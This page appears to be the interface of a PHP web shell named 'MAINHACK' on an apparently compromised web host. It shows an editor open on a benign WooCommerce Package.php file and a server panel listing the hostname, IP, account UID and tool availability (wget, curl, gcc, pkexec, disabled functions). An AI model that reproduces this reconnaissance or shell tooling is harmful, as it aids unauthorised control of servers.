[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Package.php
<?php declare( strict_types=1 ); namespace Automattic\WooCommerce\Internal\EmailEditor; defined( 'ABSPATH' ) || exit; /** * This class is used to initialize the email editor package. * * It is a wrapper around the Automattic\WooCommerce\EmailEditor\Package class and * ensures that the email editor package is only initialized if the block editor feature flag is enabled. */ class Package { /** * Version. * * @var string */ const VERSION = \Automattic\WooCommerce\EmailEditor\Package::VERSION; /** * Package active. * * @var bool */ private static $package_active = false; /** * Init the package. * * @internal */ final public static function init() { self::$package_active = get_option( 'woocommerce_feature_block_email_editor_enabled', 'no' ) === 'yes'; // init is called pretty early. Cant use FeaturesUtil. // we only want to initialize the package if the block editor feature flag is enabled. if ( ! self::$package_active ) { return; } self::initialize(); \Automattic\WooCommerce\EmailEditor\Package::init(); } /** * Return the version of the package. * * @return string */ public static function get_version() { return \Automattic\WooCommerce\EmailEditor\Package::get_version(); } /** * Return the path to the package. * * @return string */ public static function get_path() { return \Automattic\WooCommerce\EmailEditor\Package::get_path(); } /** * Initialize the email editor integration by fetching the class from the container. * * @return void */ public static function initialize() { $container = wc_get_container(); $container->get( Integration::class ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.18 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252